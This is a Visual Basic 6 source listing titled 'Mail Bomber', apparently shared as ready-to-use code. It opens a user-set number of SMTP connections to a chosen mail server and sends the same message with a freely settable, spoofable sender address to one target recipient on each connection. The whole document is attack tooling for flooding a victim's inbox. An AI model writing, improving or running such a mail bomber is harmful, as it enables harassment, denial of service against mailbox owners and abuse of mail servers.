[VB6] Mail Bomber [Code]

Private Sub Command1_Click()
For i = 1 To Text5.Text
On Error Resume Next
smtp(i).Close
Unload smtp(i)
On Error Resume Next
Load smtp(i)
DoEvents
smtp(i).Connect txtserver.Text, 25
Next
End Sub

Private Sub Command2_Click()
For i = 1 To smtp(smtp.Count) - 1
smtp(i).Close
Unload smtp(i)
Next
End Sub

Private Sub smtp_Connect(Index As Integer)
DoEvents
Text6.Text = Text6.Text & "Connected" & vbCrLf
DoEvents
smtp(Index).SendData "HELO " & smtp(Index).LocalIP
DoEvents
smtp(Index).SendData "mail from:" & Text2.Text & vbCrLf
DoEvents
smtp(Index).SendData "mail from:" & Text2.Text & vbCrLf
DoEvents
smtp(Index).SendData "mail from:" & Text2.Text & vbCrLf
DoEvents
smtp(Index).SendData "rcpt to:" & Text1.Text & vbCrLf
DoEvents
smtp(Index).SendData "DATA" & vbCrLf
DoEvents
smtp(Index).SendData "subject: " & Text3.Text & vbCrLf
DoEvents
smtp(Index).SendData Text4.Text & vbCrLf
DoEvents
smtp(Index).SendData vbCrLf & "." & vbCrLf
DoEvents
smtp(Index).SendData "quit" & vbCrLf
DoEvents
End Sub

Private Sub smtp_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim Data As String
On Error Resume Next
smtp(Index).GetData Data
On Error Resume Next
DoEvents
Text6.Text = Text6.Text & Data
DoEvents
End Sub

Private Sub Text6_Change()
Text6.SelStart = Len(Text6.Text)
End Sub